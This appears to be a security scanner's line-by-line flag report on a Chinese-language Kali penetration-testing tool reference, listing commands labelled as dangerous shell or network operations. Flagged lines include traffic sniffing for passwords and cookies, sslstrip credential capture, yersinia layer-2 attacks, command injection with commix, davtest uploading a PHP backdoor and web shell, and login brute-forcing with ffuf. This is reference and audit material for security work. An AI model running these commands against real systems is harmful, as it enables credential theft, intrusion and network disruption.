sudo netsniff-ng -i eth0 -o capture.pcap -n 1000 - Dangerous shell operationline 67
sudo astraceroute -i eth0 -d example.com - Dangerous shell operationline 70
sudo trafgen -i packets.cfg -o eth0 -n 100 - Dangerous shell operationline 73
sudo ifpps -d eth0 - Dangerous shell operationline 76
sudo flowtop - Network accessline 91
- [netsniff-ng(项目主页)](http://netsniff-ng.org/) - Network accessline 92
- [Kali netsniff-ng](https://www.kali.org/tools/netsniff-ng/)
kali-pentest-zh/references/sniffing-spoofing/tools/ngrep.md
- Dangerous shell operationline 15
sudo apt install ngrep - Dangerous shell operationline 42
sudo ngrep -q -W byline 'password' 'tcp port 80' - Dangerous shell operationline 45
sudo ngrep -q -i 'user|pass|login|token' -d eth0 - Dangerous shell operationline 51
sudo ngrep -q -W byline 'GET|POST|PUT|DELETE' 'tcp port 80' - Dangerous shell operationline 54
sudo ngrep -q -W byline '' 'udp port 5060' - Dangerous shell operationline 57
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Dangerous shell operationline 60
sudo ngrep -q -n 50 'secret' 'tcp port 8080' - Dangerous shell operationline 63
sudo ngrep -q -x 'password' 'tcp port 21' - Dangerous shell operationline 66
sudo ngrep -q -X '485454502f312e3120323030' - Dangerous shell operationline 69
sudo ngrep -q -t 'Set-Cookie' 'tcp port 80' - Dangerous shell operationline 72
sudo ngrep -q 'example.com' 'udp port 53' - Dangerous shell operationline 75
sudo ngrep -q -W byline '' 'tcp port 25' - Network accessline 90
- [ngrep (GitHub)](https://github.com/jpr5/ngrep) - Network accessline 91
- [Kali ngrep](https://www.kali.org/tools/ngrep/)
kali-pentest-zh/references/sniffing-spoofing/tools/scapy.md
kali-pentest-zh/references/sniffing-spoofing/tools/sslstrip.md
- Dangerous shell operationline 17
sudo apt install sslstrip - Dangerous shell operationline 35
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward - Dangerous shell operationline 38
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 - Dangerous shell operationline 41
sudo sslstrip -l 10000 -w sslstrip.log - Dangerous shell operationline 44
sudo sslstrip -l 10000 -f -w sslstrip.log - Dangerous shell operationline 47
sudo sslstrip -l 10000 -p -w credentials.log - Dangerous shell operationline 50
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 - Network accessline 65
- [sslstrip(GitHub)](https://github.com/moxie0/sslstrip) - Network accessline 66
- [Kali sslstrip](https://www.kali.org/tools/sslstrip/)
kali-pentest-zh/references/voip-ics/README.md
kali-pentest-zh/references/voip-ics/tools/enumiax.md
- Network accessline 54
- [Kali enumiax](https://www.kali.org/tools/enumiax/)
kali-pentest-zh/references/voip-ics/tools/ipmitool.md
kali-pentest-zh/references/voip-ics/tools/modbus-cli.md
kali-pentest-zh/references/voip-ics/tools/plcscan.md
kali-pentest-zh/references/voip-ics/tools/sippts.md
kali-pentest-zh/references/voip-ics/tools/sipvicious.md
kali-pentest-zh/references/voip-ics/tools/voiphopper.md
- Network accessline 61
- [Kali voiphopper](https://www.kali.org/tools/voiphopper/)
kali-pentest-zh/references/voip-ics/tools/yersinia.md
- Dangerous shell operationline 15
sudo apt install yersinia - Dangerous shell operationline 78
sudo yersinia stp -attack 4 -interface eth0 - Dangerous shell operationline 81
sudo yersinia dhcp -attack 1 -interface eth0 - Dangerous shell operationline 84
sudo yersinia dtp -attack 1 -interface eth0 - Dangerous shell operationline 87
sudo yersinia cdp -attack 1 -interface eth0 - Dangerous shell operationline 90
sudo yersinia dot1q -attack 1 -interface eth0 - Network accessline 105
- [yersinia GitHub](https://github.com/tomac/yersinia) - Network accessline 106
- [Kali yersinia](https://www.kali.org/tools/yersinia/)
kali-pentest-zh/references/vulnerability/README.md
- Network accessline 179
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/vulnerability/tools/enum4linux-ng.md
kali-pentest-zh/references/vulnerability/tools/enum4linux.md
kali-pentest-zh/references/vulnerability/tools/ike-scan.md
kali-pentest-zh/references/vulnerability/tools/ismtp.md
kali-pentest-zh/references/vulnerability/tools/lynis.md
- Dangerous shell operationline 15
sudo apt install lynis - Dangerous shell operationline 41
sudo lynis audit system - Dangerous shell operationline 47
sudo lynis audit system --quick - Dangerous shell operationline 50
sudo lynis audit system --report-file /tmp/lynis_report.dat - Dangerous shell operationline 53
sudo lynis audit system --tests-from-group authentication - Dangerous shell operationline 54
sudo lynis audit system --tests-from-group networking - Dangerous shell operationline 55
sudo lynis audit system --tests-from-group malware - Dangerous shell operationline 58
sudo lynis audit system --quick --quiet --no-colors > /tmp/lynis_output.txt - Dangerous shell operationline 77
3. 获取 Shell 后,使用 `--tests-from-group authentication` 快速审计登录和 sudo 配置。 - Network accessline 86
- [Lynis 官方网站](https://cisofy.com/lynis/) - Network accessline 87
- [Lynis GitHub](https://github.com/CISOfy/lynis)
kali-pentest-zh/references/vulnerability/tools/nuclei.md
- Dangerous shell operationline 15
sudo apt install nuclei - Network accessline 73
# 使用默认模板集扫描 nuclei -u http://target.com - Network accessline 74
nuclei -u http://target.com - Network accessline 79
# 按类别扫描——自动检测失败时使用显式路径 nuclei -u http://target.com -t "$TMPL/http/cves/" - Network accessline 80
nuclei -u http://target.com -t "$TMPL/http/cves/" - Network accessline 81
nuclei -u http://target.com -t "$TMPL/http/exposures/" - Network accessline 82
nuclei -u http://target.com -t "$TMPL/http/misconfiguration/" - Network accessline 83
nuclei -u http://target.com -t "$TMPL/http/vulnerabilities/" - Network accessline 84
nuclei -u http://target.com -t "$TMPL/http/technologies/" - Network accessline 86
# 只扫高危及以上 nuclei -u http://target.com -severity critical,high - Network accessline 87
nuclei -u http://target.com -severity critical,high - Network accessline 89
# 按标签扫描 nuclei -u http://target.com -tags lfi,ssrf,rce - Network accessline 90
nuclei -u http://target.com -tags lfi,ssrf,rce - Network accessline 91
nuclei -u http://target.com -tags log4j - Network accessline 93
# 指定特定 CVE nuclei -u http://target.com -id CVE-2021-44228 - Network accessline 94
nuclei -u http://target.com -id CVE-2021-44228 - Network accessline 95
nuclei -u http://target.com -id CVE-2021-44228,CVE-2022-22965 - Network accessline 97
# JSONL 输出(每行一条结果) nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl - Network accessline 98
nuclei -u http://target.com -jsonl -o /tmp/nuclei_results.jsonl - Network accessline 100
# JSON 导出(单个结构化 JSON 文件) nuclei -u http://target.com -json-export /tmp/nuclei_results.json - Network accessline 101
nuclei -u http://target.com -json-export /tmp/nuclei_results.json - Network accessline 103
# 限速(防 WAF) nuclei -u http://target.com -rate-limit 50 -c 10 - Network accessline 104
nuclei -u http://target.com -rate-limit 50 -c 10 - Network accessline 109
# 使用代理 nuclei -u http://target.com -proxy http://127.0.0.1:8080 - Network accessline 110
nuclei -u http://target.com -proxy http://127.0.0.1:8080 - Network accessline 112
[Credential-related source omitted] - Network accessline 113
[Credential-related source omitted] - Network accessline 120
3. 测试生产系统或位于 WAF 后方时,使用 `-rate-limit` 和 `-c` 控制扫描速度——默认的激进设置可能触发限速或 IP 封禁。 4. **零输出无报错**:添加 `-v` 检查模板是否实际加载。如果没有探测请求出现,说明模板路径有误——使用上方模板目录部分的 `find` 命令定位路径,并通过 `-t` 显式传入。 5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 AP - Network accessline 121
4. **零输出无报错**:添加 `-v` 检查模板是否实际加载。如果没有探测请求出现,说明模板路径有误——使用上方模板目录部分的 `find` 命令定位路径,并通过 `-t` 显式传入。 5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 API,构建本地签名代理并传入 `-proxy http://127.0.0.1:PORT`。没有代理时,大多数安全模板会收到 401 响应而不产生发现。 - Network accessline 122
5. **需要动态签名的认证端点**:`-H` 只能注入静态头——无法计算逐请求签名。对需要动态签名(HMAC、时间戳+nonce)的 API,构建本地签名代理并传入 `-proxy http://127.0.0.1:PORT`。没有代理时,大多数安全模板会收到 401 响应而不产生发现。用 `-v` 确认探测请求返回非 401 响应后再信任空输出。 - Network accessline 129
- [Nuclei GitHub](https://github.com/projectdiscovery/nuclei) - Network accessline 130
- [Nuclei 文档](https://docs.projectdiscovery.io/tools/nuclei) - Network accessline 131
- [Nuclei 模板库](https://github.com/projectdiscovery/nuclei-templates)
kali-pentest-zh/references/vulnerability/tools/onesixtyone.md
kali-pentest-zh/references/vulnerability/tools/openvas.md
- Dangerous shell operationline 15
sudo apt install gvm - Dangerous shell operationline 18
sudo gvm-setup - Dangerous shell operationline 20
sudo gvm-check-setup - Dangerous shell operationline 23
sudo gvm-start - Network accessline 33
# 访问 Greenbone Security Assistant(GSA)Web 界面 # https://127.0.0.1:9392 - Network accessline 34
# https://127.0.0.1:9392 - Dangerous shell operationline 39
sudo greenbone-feed-sync - Network accessline 135
- [Greenbone 文档](https://greenbone.github.io/docs/) - Network accessline 136
- [OpenVAS Scanner GitHub](https://github.com/greenbone/openvas-scanner) - Network accessline 137
- [Greenbone 漏洞管理](https://www.greenbone.net/en/vulnerability-management/)
kali-pentest-zh/references/vulnerability/tools/smbmap.md
kali-pentest-zh/references/vulnerability/tools/smtp-user-enum.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install smtp-user-enum - Network accessline 78
- [smtp-user-enum by pentestmonkey](https://pentestmonkey.net/tools/user-enumeration/smtp-user-enum) - Network accessline 79
- [Kali smtp-user-enum](https://www.kali.org/tools/smtp-user-enum/)
kali-pentest-zh/references/vulnerability/tools/snmpcheck.md
kali-pentest-zh/references/vulnerability/tools/snmpwalk.md
kali-pentest-zh/references/vulnerability/tools/sslscan.md
kali-pentest-zh/references/vulnerability/tools/sslyze.md
- Dangerous shell operationline 15
sudo apt install sslyze - Network accessline 91
- [sslyze (GitHub)](https://github.com/nabla-c0d3/sslyze) - Network accessline 92
- [sslyze Documentation](https://nabla-c0d3.github.io/sslyze/documentation/) - Network accessline 93
- [Kali sslyze](https://www.kali.org/tools/sslyze/)
kali-pentest-zh/references/vulnerability/tools/swaks.md
kali-pentest-zh/references/vulnerability/tools/testssl.sh.md
- Dangerous shell operationline 15
sudo apt install testssl.sh - Network accessline 15
sudo apt install testssl.sh # 或直接从 GitHub 运行(需要 bash 4+ 和 openssl): git clone https://github.com/drwetter/testssl.sh.git - Network accessline 16
# 或直接从 GitHub 运行(需要 bash 4+ 和 openssl): git clone https://github.com/drwetter/testssl.sh.git cd testssl.sh && ./testssl.sh --help - Network accessline 17
git clone https://github.com/drwetter/testssl.sh.git - Network accessline 76
- [testssl.sh(GitHub)](https://github.com/drwetter/testssl.sh) - Network accessline 77
- [Kali testssl.sh](https://www.kali.org/tools/testssl.sh/)
kali-pentest-zh/references/vulnerability/tools/trivy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install trivy - Network accessline 48
# 扫描远程 Git 仓库 trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo - Network accessline 49
trivy repo --scanners vuln,secret,misconfig https://github.com/example/repo - Network accessline 67
- [Trivy Documentation](https://trivy.dev/latest/docs/) - Network accessline 68
- [Trivy GitHub](https://github.com/aquasecurity/trivy) - Network accessline 69
- [Kali trivy](https://www.kali.org/tools/trivy/)
kali-pentest-zh/references/web/README.md
- Network accessline 23
| Web 漏洞扫描(黑盒) | `wapiti` | — | | WebDAV 测试 | `davtest` | 仅限目标开启 WebDAV | | 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` | - Network accessline 24
| WebDAV 测试 | `davtest` | 仅限目标开启 WebDAV | | 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` | | Padding Oracle | `padbuster` | — | - Network accessline 25
| 流量代理 | `mitmproxy` / `mitmdump` | 仅需请求重放时用 `curl -x` | - Network accessline 231
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Network accessline 232
- [Kali Tools](https://www.kali.org/tools/all-tools/)
kali-pentest-zh/references/web/tools/arjun.md
- Dangerous shell operationline 16
sudo apt install arjun - Network accessline 42
# 发现 GET 参数 arjun -u http://target.com/search - Network accessline 43
arjun -u http://target.com/search - Network accessline 45
# 发现 POST 参数 arjun -u http://target.com/api -m POST - Network accessline 46
arjun -u http://target.com/api -m POST - Network accessline 48
# JSON body 参数 arjun -u http://target.com/api -m JSON - Network accessline 49
arjun -u http://target.com/api -m JSON - Network accessline 54
# 自定义字典 arjun -u http://target.com/ -w /path/to/params.txt - Network accessline 55
arjun -u http://target.com/ -w /path/to/params.txt - Network accessline 57
# 带 Cookie(需要 JSON 字典格式) arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}' - Network accessline 58
arjun -u http://target.com/ --headers '{"Cookie": "session=abc123"}' - Network accessline 60
# 输出 JSON arjun -u http://target.com/ -oJ /tmp/params.json - Network accessline 61
arjun -u http://target.com/ -oJ /tmp/params.json - Network accessline 63
# 并发 arjun -u http://target.com/ -t 10 - Network accessline 64
arjun -u http://target.com/ -t 10 - Network accessline 79
- [Arjun GitHub](https://github.com/s0md3v/Arjun)
kali-pentest-zh/references/web/tools/clairvoyance.md
- Network accessline 41
# 从 GraphQL 端点恢复 schema clairvoyance -o /tmp/schema.json https://target/graphql - Network accessline 42
clairvoyance -o /tmp/schema.json https://target/graphql - Network accessline 44
[Credential-related source omitted] - Network accessline 45
[Credential-related source omitted] - Network accessline 47
# 使用词表爆破并验证格式 clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql - Network accessline 48
clairvoyance -w /tmp/graphql_wordlist.txt -wv -o /tmp/schema.json https://target/graphql - Network accessline 50
# 慢速配置用于限速目标(1 并发、50 次重试、退避因子 2) clairvoyance -p slow -o /tmp/schema.json https://target/graphql - Network accessline 51
clairvoyance -p slow -o /tmp/schema.json https://target/graphql - Network accessline 53
# 使用代理和补充输入 schema clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql - Network accessline 54
clairvoyance -x http://127.0.0.1:8080 -i /tmp/partial.json -o /tmp/schema.json https://target/graphql - Network accessline 56
# 禁用 SSL 验证,启用详细输出和进度条 clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql - Network accessline 57
clairvoyance -k -v --progress -o /tmp/schema.json https://target/graphql - Network accessline 71
- [Clairvoyance GitHub](https://github.com/nikitastupin/clairvoyance)
kali-pentest-zh/references/web/tools/cmseek.md
- Dangerous shell operationline 15
sudo apt install cmseek - Network accessline 42
# 检测 CMS 并枚举信息 cmseek -u http://example.com - Network accessline 43
cmseek -u http://example.com - Network accessline 45
# 跟随重定向(适用于 HTTPS 或 CDN 目标) cmseek -u http://example.com --follow-redirect - Network accessline 46
cmseek -u http://example.com --follow-redirect - Network accessline 51
# 使用随机 User-Agent 绕过基础 WAF cmseek -u http://example.com --random-agent --follow-redirect - Network accessline 52
cmseek -u http://example.com --random-agent --follow-redirect - Network accessline 54
# 详细模式 cmseek -u http://example.com -v - Network accessline 55
cmseek -u http://example.com -v - Network accessline 60
1. cmseek 支持 180+ 种 CMS——在不确定目标 CMS 类型时首先使用;确认为 WordPress 后再切换到 wpscan 进行深度枚举。 2. 结果保存到 `Result/<domain>/cms.json`——查看该文件可获取版本号、检测到的用户及漏洞数据。 3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发 - Network accessline 61
2. 结果保存到 `Result/<domain>/cms.json`——查看该文件可获取版本号、检测到的用户及漏洞数据。 3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发现 CMS 特征。 4. 对于 WordPress,wpscan 提供更深入的枚举(插件、主题、CVE、用户暴力破解)——用 cmseek 确认,用 wpsc - Network accessline 62
3. 若 CMS 检测失败,手动检查响应头:`curl -I http://example.com` 通常可从 `X-Powered-By`、Cookie 或 generator meta 标签中发现 CMS 特征。 - Network accessline 64
5. 检测到的版本号与 nuclei CVE 模板是强大组合:cmseek 识别 CMS 后,运行 `nuclei -t http/cves/ -u http://example.com` 即可快速检测已知漏洞。 - Network accessline 70
- [CMSeeK (GitHub)](https://github.com/Tuhinshubhra/CMSeeK) - Network accessline 71
- [Kali cmseek](https://www.kali.org/tools/cmseek/)
kali-pentest-zh/references/web/tools/commix.md
- Dangerous shell operationline 15
sudo apt install commix - Network accessline 40
# 检测 GET 参数 commix --url="http://target.com/ping?host=INJECT_HERE" - Network accessline 41
commix --url="http://target.com/ping?host=INJECT_HERE" - Network accessline 43
# POST 参数 commix --url="http://target.com/" --data="ip=INJECT_HERE" - Network accessline 44
commix --url="http://target.com/" --data="ip=INJECT_HERE" - Network accessline 46
# 自动检测参数(不指定 INJECT_HERE) commix --url="http://target.com/ping?host=127.0.0.1" - Network accessline 47
commix --url="http://target.com/ping?host=127.0.0.1" - Network accessline 49
# 执行命令 commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id" - Network accessline 50
commix --url="http://target.com/ping?host=127.0.0.1" --os-cmd="id" - Network accessline 55
# 使用代理(通过 Burp) commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080" - Network accessline 56
commix --url="http://target.com/ping?host=127.0.0.1" --proxy="http://127.0.0.1:8080" - Network accessline 71
- [commix GitHub](https://github.com/commixproject/commix)
kali-pentest-zh/references/web/tools/crlfuzz.md
- Dangerous shell operationline 15
sudo apt install crlfuzz - Network accessline 37
# 测试单个 URL crlfuzz -u "http://example.com/page?param=value" - Network accessline 38
crlfuzz -u "http://example.com/page?param=value" - Network accessline 49
# 通过 Burp Suite 代理路由 crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080 - Network accessline 50
crlfuzz -u "http://example.com/?q=test" --proxy http://127.0.0.1:8080 - Network accessline 65
- [CRLFuzz(GitHub)](https://github.com/dwisiswant0/crlfuzz) - Network accessline 66
- [Kali crlfuzz](https://www.kali.org/tools/crlfuzz/)
kali-pentest-zh/references/web/tools/dalfox.md
- Dangerous shell operationline 15
sudo apt install dalfox - Network accessline 20
# 替代方案:从 GitHub 下载 release 二进制 curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox - Network accessline 21
curl -sL https://github.com/hahwul/dalfox/releases/latest/download/dalfox-linux-amd64.tar.gz | tar xz -C /tmp/ && mv /tmp/dalfox-linux-amd64 /usr/local/bin/dalfox - Network accessline 51
# 基础 XSS 扫描 dalfox url http://target.com/search?q=test - Network accessline 52
dalfox url http://target.com/search?q=test - Network accessline 54
# POST 参数 dalfox url http://target.com/search --data "q=test&page=1" - Network accessline 55
dalfox url http://target.com/search --data "q=test&page=1" - Network accessline 57
# 带 Cookie dalfox url http://target.com/ -C "session=abc123" - Network accessline 58
dalfox url http://target.com/ -C "session=abc123" - Network accessline 63
# 管道输入 echo "http://target.com/search?q=test" | dalfox pipe - Network accessline 64
echo "http://target.com/search?q=test" | dalfox pipe - Network accessline 69
# 使用代理 dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080 - Network accessline 70
dalfox url http://target.com/search?q=test --proxy http://127.0.0.1:8080 - Network accessline 72
# 指定 payload dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt - Network accessline 73
dalfox url http://target.com/ --custom-payload /tmp/xss_payloads.txt - Network accessline 75
# 输出 JSON dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json - Network accessline 76
dalfox url http://target.com/search?q=test --format json -o /tmp/xss_results.json - Network accessline 92
- [dalfox GitHub](https://github.com/hahwul/dalfox) - Network accessline 93
- [dalfox 文档](https://dalfox.hahwul.com/page/overview/)
kali-pentest-zh/references/web/tools/davtest.md
- Dangerous shell operationline 17
sudo apt install davtest - Network accessline 42
# 基础 WebDAV 测试——上传测试文件并检查执行情况 davtest -url http://target.com/webdav/ - Network accessline 43
davtest -url http://target.com/webdav/ - Network accessline 45
# 认证 WebDAV 测试 davtest -url http://target.com/webdav/ -auth admin:password - Network accessline 46
davtest -url http://target.com/webdav/ -auth admin:password - Network accessline 48
# 测试后清理(测试完成后删除上传的文件) davtest -url http://target.com/webdav/ -cleanup - Network accessline 49
davtest -url http://target.com/webdav/ -cleanup - Network accessline 51
# 确认 PHP 可执行后发送 PHP 后门 davtest -url http://target.com/webdav/ -sendbd php - Network accessline 52
davtest -url http://target.com/webdav/ -sendbd php - Network accessline 54
# 测试 MOVE 方法(绕过扩展名过滤) davtest -url http://target.com/webdav/ -move - Network accessline 55
davtest -url http://target.com/webdav/ -move - Network accessline 57
# 将指定文件上传到目标位置 davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx - Network accessline 58
davtest -url http://target.com/webdav/ -uploadfile /tmp/shell.aspx -uploadloc shell.aspx - Network accessline 60
# 在指定远程目录中使用自定义前缀测试 davtest -url http://target.com/webdav/ -directory uploads -rand testfile - Network accessline 61
davtest -url http://target.com/webdav/ -directory uploads -rand testfile - Network accessline 63
# 静默模式——仅输出摘要 davtest -url http://target.com/webdav/ -cleanup -quiet - Network accessline 64
davtest -url http://target.com/webdav/ -cleanup -quiet - Network accessline 81
- [davtest GitHub](https://github.com/cldrn/davtest) - Network accessline 82
- [Kali davtest](https://www.kali.org/tools/davtest/)
kali-pentest-zh/references/web/tools/dirb.md
- Dangerous shell operationline 15
sudo apt install dirb -y - Network accessline 25
| `-z <ms>` | 添加毫秒级延迟以避免过度洪泛 | | `-a <agent>` | 自定义 User-Agent 字符串 | | `-p <proxy>` | 使用代理(`http://host:port`) | - Network accessline 26
| `-a <agent>` | 自定义 User-Agent 字符串 | | `-p <proxy>` | 使用代理(`http://host:port`) | | `-c <cookie>` | 为 HTTP 请求设置 Cookie | - Network accessline 27
| `-p <proxy>` | 使用代理(`http://host:port`) | - Network accessline 46
# 使用默认字典扫描 dirb http://target.com - Network accessline 47
dirb http://target.com - Network accessline 49
# 使用自定义字典扫描 dirb http://target.com /usr/share/wordlists/dirb/big.txt - Network accessline 50
dirb http://target.com /usr/share/wordlists/dirb/big.txt - Network accessline 56
# 扫描特定文件扩展名 dirb http://target.com -X .php,.html,.txt - Network accessline 57
dirb http://target.com -X .php,.html,.txt - Network accessline 59
# 扫描备份和敏感文件 dirb http://target.com -X .bak,.old,.zip,.sql,.conf - Network accessline 60
dirb http://target.com -X .bak,.old,.zip,.sql,.conf - Network accessline 66
# 通过 Burp Suite 路由 dirb http://target.com -p http://127.0.0.1:8080 - Network accessline 67
dirb http://target.com -p http://127.0.0.1:8080 - Network accessline 73
[Credential-related source omitted] - Network accessline 74
[Credential-related source omitted] - Network accessline 76
[Credential-related source omitted] - Network accessline 77
[Credential-related source omitted] - Network accessline 79
# HTTP 基础认证 dirb http://target.com -u admin:password123 - Network accessline 80
dirb http://target.com -u admin:password123 - Network accessline 86
# 禁用递归并添加延迟以避免触发限速 dirb http://target.com -r -z 100 - Network accessline 87
dirb http://target.com -r -z 100 - Network accessline 93
# 完整扫描带扩展名,保存结果 dirb http://target.com /usr/share/wordlists/dirb/common.txt \ - Network accessline 94
dirb http://target.com /usr/share/wordlists/dirb/common.txt \ - Network accessline 102
# 减少输出噪声并设置自定义 User-Agent dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" - Network accessline 103
dirb http://target.com -S -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" - Network accessline 118
- [dirb SourceForge](https://dirb.sourceforge.net/) - Network accessline 119
- [Kali Tools - dirb](https://www.kali.org/tools/dirb/)
kali-pentest-zh/references/web/tools/dirsearch.md
- Dangerous shell operationline 15
sudo apt install dirsearch - Network accessline 53
# 使用常见扩展名进行基础扫描 dirsearch -u http://example.com -e php,html,js - Network accessline 54
dirsearch -u http://example.com -e php,html,js - Network accessline 56
# 递归扫描 dirsearch -u http://example.com -e php -r - Network accessline 57
dirsearch -u http://example.com -e php -r - Network accessline 59
# 将结果保存为 JSON dirsearch -u http://example.com -e php,html --format json -o results.json - Network accessline 60
dirsearch -u http://example.com -e php,html --format json -o results.json - Network accessline 62
# 使用自定义词表 dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt - Network accessline 63
dirsearch -u http://example.com -w /usr/share/wordlists/dirb/big.txt - Network accessline 65
# 排除 404 和 403 响应 dirsearch -u http://example.com -e php -x 404,403 - Network accessline 66
dirsearch -u http://example.com -e php -x 404,403 - Network accessline 68
[Credential-related source omitted] - Network accessline 69
[Credential-related source omitted] - Network accessline 71
# 通过 Burp Suite 代理路由流量 dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080 - Network accessline 72
dirsearch -u http://example.com -e php --proxy http://127.0.0.1:8080 - Network accessline 74
# 增加线程数以提升速度 dirsearch -u http://example.com -e php -t 50 - Network accessline 75
dirsearch -u http://example.com -e php -t 50 - Network accessline 90
- [dirsearch (GitHub)](https://github.com/maurosoria/dirsearch) - Network accessline 91
- [Kali dirsearch](https://www.kali.org/tools/dirsearch/)
kali-pentest-zh/references/web/tools/feroxbuster.md
- Dangerous shell operationline 15
sudo apt install feroxbuster - Network accessline 44
# 基础扫描 feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 45
feroxbuster -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 47
# 指定扩展名 feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip - Network accessline 48
feroxbuster -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip - Network accessline 50
# HTTPS(忽略证书) feroxbuster -u https://target.com -w wordlist.txt -k - Network accessline 51
feroxbuster -u https://target.com -w wordlist.txt -k - Network accessline 53
# 限制递归深度 feroxbuster -u http://target.com -w wordlist.txt -d 2 - Network accessline 54
feroxbuster -u http://target.com -w wordlist.txt -d 2 - Network accessline 56
# 过滤 404 和 403 feroxbuster -u http://target.com -w wordlist.txt -C 404,403 - Network accessline 57
feroxbuster -u http://target.com -w wordlist.txt -C 404,403 - Network accessline 59
[Credential-related source omitted] - Network accessline 60
[Credential-related source omitted] - Network accessline 61
feroxbuster -u http://target.com -w wordlist.txt -b "session=abc123" - Network accessline 63
# 输出到文件 feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt - Network accessline 64
feroxbuster -u http://target.com -w wordlist.txt -o /tmp/ferox_results.txt - Network accessline 66
# 限速(防触发 WAF) feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100 - Network accessline 67
feroxbuster -u http://target.com -w wordlist.txt --rate-limit 100 - Network accessline 69
# 使用代理 feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080 - Network accessline 70
feroxbuster -u http://target.com -w wordlist.txt --proxy http://127.0.0.1:8080 - Network accessline 85
- [feroxbuster GitHub](https://github.com/epi052/feroxbuster) - Network accessline 86
- [feroxbuster 文档](https://epi052.github.io/feroxbuster-docs/overview/)
kali-pentest-zh/references/web/tools/ffuf.md
- Network accessline 100
# 最简单用法 ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt - Network accessline 101
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt - Network accessline 103
# 50线程,过滤 404 ffuf -u http://target.com/FUZZ \ - Network accessline 104
ffuf -u http://target.com/FUZZ \ - Network accessline 112
# 用两个 FUZZ 关键词(需要指定不同变量名) ffuf -u http://target.com/FUZZ.EXT \ - Network accessline 113
ffuf -u http://target.com/FUZZ.EXT \ - Network accessline 118
# 常用:固定扩展名 ffuf -u "http://target.com/FUZZ" \ - Network accessline 119
ffuf -u "http://target.com/FUZZ" \ - Network accessline 127
# -ac 自动检测响应规律并过滤误报 ffuf -u http://target.com/FUZZ \ - Network accessline 128
ffuf -u http://target.com/FUZZ \ - Network accessline 132
# 按响应大小过滤(先运行一次找到默认大小再过滤) ffuf -u http://target.com/FUZZ \ - Network accessline 133
ffuf -u http://target.com/FUZZ \ - Network accessline 141
# GET 参数名枚举 ffuf -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 142
ffuf -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 146
# POST 参数枚举 ffuf -u http://target.com/login.php \ - Network accessline 147
ffuf -u http://target.com/login.php \ - Network accessline 153
# 参数值 fuzzing(已知参数名) ffuf -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 154
ffuf -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 161
# 基于 DNS 的子域名爆破:对 URL 中的主机名进行 FUZZ(DNS 需解析每个子域) ffuf -u http://FUZZ.target.com \ - Network accessline 162
ffuf -u http://FUZZ.target.com \ - Network accessline 172
ffuf -u http://10.10.10.10 \ - Network accessline 181
# 用户名枚举(测试哪些用户名存在) ffuf -u http://target.com/login.php \ - Network accessline 182
ffuf -u http://target.com/login.php \ - Network accessline 189
# 密码暴力破解 ffuf -u http://target.com/login.php \ - Network accessline 190
ffuf -u http://target.com/login.php \ - Network accessline 201
ffuf -u http://target.com/FUZZ \ - Network accessline 220
ffuf -u http://target.com/FUZZ \ - Network accessline 241
- [ffuf GitHub](https://github.com/ffuf/ffuf)
kali-pentest-zh/references/web/tools/gitleaks.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install gitleaks - Network accessline 79
- [Gitleaks GitHub](https://github.com/gitleaks/gitleaks) - Network accessline 80
- [Gitleaks Website](https://gitleaks.io/) - Network accessline 81
- [Kali gitleaks](https://www.kali.org/tools/gitleaks/)
kali-pentest-zh/references/web/tools/gobuster.md
- Network accessline 125
